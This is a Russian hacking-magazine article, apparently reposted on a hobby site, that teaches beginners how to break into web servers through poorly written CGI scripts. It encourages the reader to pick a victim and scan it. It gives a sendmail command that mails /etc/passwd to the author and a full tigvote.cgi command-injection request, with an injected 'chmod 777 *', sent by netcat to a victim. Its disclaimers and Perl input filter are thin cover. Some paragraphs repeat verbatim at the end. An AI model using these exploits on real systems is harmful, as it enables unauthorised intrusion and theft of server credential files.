Главная
Статьи
Чат
Форум
Гостевая
 


ВНИМАНИЕ:
Вся информация размещенная на этом сайте предназначена в целях ознакомления.
Администратор сайта не несет ответственность за использо- вание этой информации.



Детский взлом

Вот ты, наверное, постоянно читаешь наш журнал (Хакер) и думаешь: "Все-таки это не для меня. Это слишком сложно. А вот это непонятно". Но теперь пришло то время, когда мы расскажем тебе о том, как можно быстро и без особых напрягов сломать какой-нибудь сервак. Ну что, заинтриговали мы тебя? Если да, то читай дальше, ничего сложного в этой статье нет, и если ты хоть немного представляешь себе то, как работает сервер, и чуть-чуть знаешь С или Perl, ты сразу же разберешься со всем этим и будет настоящим кул хаксором.

Теория
Сегодня такие вещи, как гостевая книга, поиск по серверу, форма для отправки сообщений, - неотъемлемый атрибут практически любого серьезного сайта. Да что серьезного, теперь даже на домашние странички стараются запихнуть как можно больше всевозможных анкет, голосований и т.п. :).
Для начала, думаю, надо разобраться с понятиями (вообще разборки и понятия - сегодня очень актуально :). CGI-скрипт - это программа, которая выполняется на Web-сервере по запросу клиента. А клиент, как ты понимаешь, - это не кто иной, как ты ;). Программа эта принципиально ничем не отличается от обычных программ, которые установлены на твоем компе - будь то Word или Quake. CGI - это не язык программирования, на котором написан скрипт, а Common Gateway Interface - специальный интерфейс, с помощью которого и происходит запуск скрипта и взаимодействие с ним.
Как работает CGI-скрипт? Я, конечно, могу впихнуть тебе какое-нибудь техническое руководство, но пользы от этого будет мало. Поэтому объясню, как все происходит, на пальцах. Итак, посетитель страницы заполняет поля формы, например, для записи в гостевую книгу. После этого он нажимает кнопку "Submit" (ну или какую-либо другую, например, "Отправить"), которая и запускает cgi-скрипт. Скрипт выполняет запрограммированные действия - в данном случае считывает данные из формы и пишет их в файл гостевой книги - и посылает в твой браузер обычный HTML-код, например, сообщение: "Чувак, ты свободен. Все уже сделано. Тебя ждет подружка".

ЗАПОМНИ! Статья нацелена прежде всего на то, чтобы показать тебе, каких ошибок ты не должен допускать на своем собственном сайте.
Если ты сломаешь что-нибудь и дело дойдет до суда, то тебе грозит:
Статья 272 УК РФ. Неправомерный доступ к компьютерной информации.
1. Неправомерный доступ к охраняемой законом компьютерной информации, то есть информации на машинном носителе, в электронно-вычислительной машине (ЭВМ), системе ЭВМ или их сети, если это деяние повлекло уничтожение, блокирование, модификацию либо копирование информации, нарушение работы ЭВМ, системы ЭВМ или их сети, - наказывается штрафом в размере от двухсот до пятисот минимальных размеров оплаты труда или в размере заработной платы или иного дохода осужденного за период от двух до пяти месяцев, либо исправительными работами на срок от шести месяцев до одного года, либо лишением свободы на срок до двух лет.
2. То же деяние, совершенное группой лиц по предварительному сговору или организованной группой либо лицом с использованием своего служебного положения, а равно имеющим доступ к ЭВМ, системе ЭВМ или их сети, - наказывается штрафом в размере от пятисот до восьмисот минимальных размеров оплаты труда или в размере заработной платы, или иного дохода осужденного за период от пяти до восьми месяцев, либо исправительными работами на срок от одного года до двух лет, либо арестом на срок от трех до шести месяцев, либо лишением свободы на срок до пяти лет.

Общая цель CGI-скриптов - позволить тебе получать доступ лишь к определенной части информации, находящейся на сервере. Такое определение сразу должно навести тебя на мысли о том, что ты можешь каким-то способом получить доступ и ко всей информации на сервере. Ни один сервак нельзя считать на 100% защищенным (ломают и ***.gov). Наиболее часто встречающаяся уязвимость - это отсутствие проверки посылаемых скрипту данных на метасимволы (такие, к примеру, как & ; ` ' \ " | * ? ~ < > ^ ( ) [ ] { } $ ), что приводит к выводу скриптом содержимого файла или самого файла. Элементарным решением этой проблемы есть фильтрация вводимого набора символом, выглядящая на Perl следующим образом:
$in =~ s/([; < > \*\|`&\$!#\(\)\[\]\{\}:'"\n])/\\$1/g;
Мне кажется, люди, которые пишут скрипты, - совсем ленивые и забывают об этом или не хотят запоминать, т.к. самую элементарную проверку на символы "/" и ".." до сих пор не делают, а потом, однажды зайдя на свой сервак, видят "][/-\| < ED by ...".
Думаю, теперь ты немного представляешь себе работу сервера и CGI-скриптов. Настало время объяснить тебе, что такое эксплойт. Эксплойт ("калька" с английского "exploit") - это уязвимость, для которой разработан конкретный метод атаки. Многие эксплойты публикуются в открытых источниках, и рано или поздно для них создаются "заплатки" (патчи), устраняющие уязвимость. Будем надеяться, что админ того сайта, который ты хочешь сломать, ленивый и не будет ставить никаких патчей. Скажу сразу, что самыми распространенными ошибками являются:
1. Выполнение команды.
2. Чтение файла.
3. Запуск программ.
4. Ошибки sendmail.
5. DoS атака на скрипт.

Ошибка в sendmail поможет тебе овладеть серваком так.
Запуск sendmail: sendmail -f sergey@soobcha.org, Hi, pipiska.txt. Эта команда отправит на мое мыло файл pipiska.txt. Естественно, вместо pipiska.txt лучше заказать файл /etc/passwd :).

Практика
Итак, надеюсь, ты уже достаточно теоретически подготовлен и теперь сможешь сделать что-нибудь более или менее полезное.
Сначала ты должен определиться с тем, нужно ли тебе это или нет? Если нужно, то выбирай себе жертву, только хочу сразу предупредить: не пытайся ломать всякие http://www.vvp.ru/ и http://www.nasa.gov/, т.к. отделение "Р" в нашей стране не спит, а ты потом все свалишь на меня :). Если жертва уже выбрана, то иди и качай CGI-сканер. Ты не знаешь, что это такое? Тогда тебе в Спец #11(22), там я давал сравнительный обзор самых юзаемых и удобных CGI - чекеров. Я буду показывать тебе все на примере VoidEye2k.
Значит, с настройками ты и сам разберешься, интерфейс понятен и младенцу. Задаем сервак и ждем несколько минут ;). Итак, при сканировании на http://www.kronex.ru/ найден скрипт tigvote.cgi. "Ну и что?" - скажешь ты. А то, что теперь бегом на http://www.void.ru/, ищи там статью "CGI-ЖУКС - подробно и по-русски" и ищи там эксплойт. Читаем:
"TIGVOTE.CGI
Местонахождение: /cgi-bin/tigvote.cgi (как раз где мы нашли).

Уязвимость:
Данный скрипт позволяет организовывать голосование на сайте, и имя файла с базой по голосам передается скрипту как параметр. При внимательном рассмотрении исходного текста скрипта можно найти место, где происходило чтение данных формы и присвоение некой переменной имени файла:

$in = $ENV{\'QUERY_STRING\'};
@temp=split /&/,$in;
$in=@temp[1];
@temp=split /=/,@temp[0];
$fileName=\'vote\'.@temp[1].\'.txt\';
$fileIP=\'ip-\'.$fileName;

Как ты видишь, отсутствует проверка на различные символы, в том числе и | \ /. Двигаясь дальше, мы видим строку open FILE,"$fileName";. Не происходит стандартной обработки переданной строки, и все небуквенно-цифровые символы передаются в uuencode, посему из браузера не удастся осуществить эксплуатацию уязвимости.

Использование:
Ниже следует пример запроса, который исполнит команду echo Hi на хосте-жертве. Отдать такой запрос можно, к примеру, неткатом (почти тот же тЁлнет):

[hax0r@foo.com]$ cat zapros
POST /cgi-bin/tigvote.cgi HTTP/1.1
Accept: */*
Accept-Language: ru
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent:Agent Smith
Host: http://www.kronex.ru/
Content-Length: 33
Connection: Keep-Alive
file=chmod 777 * |&tigvote=cho+hi
[hax0r@foo.com]$ nc http://www.victim.com/ < zapros > out.log".

Вот и все ;). Ты думал, это сложно? Оказывается, легче некуда ;). Но учти, что количество серваков с дырявыми скриптами уменьшается (я имею в виду те серваки, которые интересно ломать, а не http://www.vasiapupkin.h1.ru/).
Если у тебя появятся какие-либо вопросы, мой мыл всегда открыт для тебя.
Автор не имеет никакого отношения к взлому, ему все это приснилось. И вообще я - Менделеев :).
Но теперь пришло то время, когда мы расскажем тебе о том, как можно быстро и без особых напрягов сломать какой-нибудь сервак.
Как работает CGI-скрипт? Я, конечно, могу впихнуть тебе какое-нибудь техническое руководство, но пользы от этого будет мало. Поэтому объясню, как все происходит, на пальцах.
Вот и все ;). Ты думал, это сложно? Оказывается, легче некуда ;). Но учти, что количество серваков с дырявыми скриптами уменьшается (я имею в виду те серваки, которые интересно ломать, а не http://www.vasiapupkin.h1.ru/).

Hosted by uCoz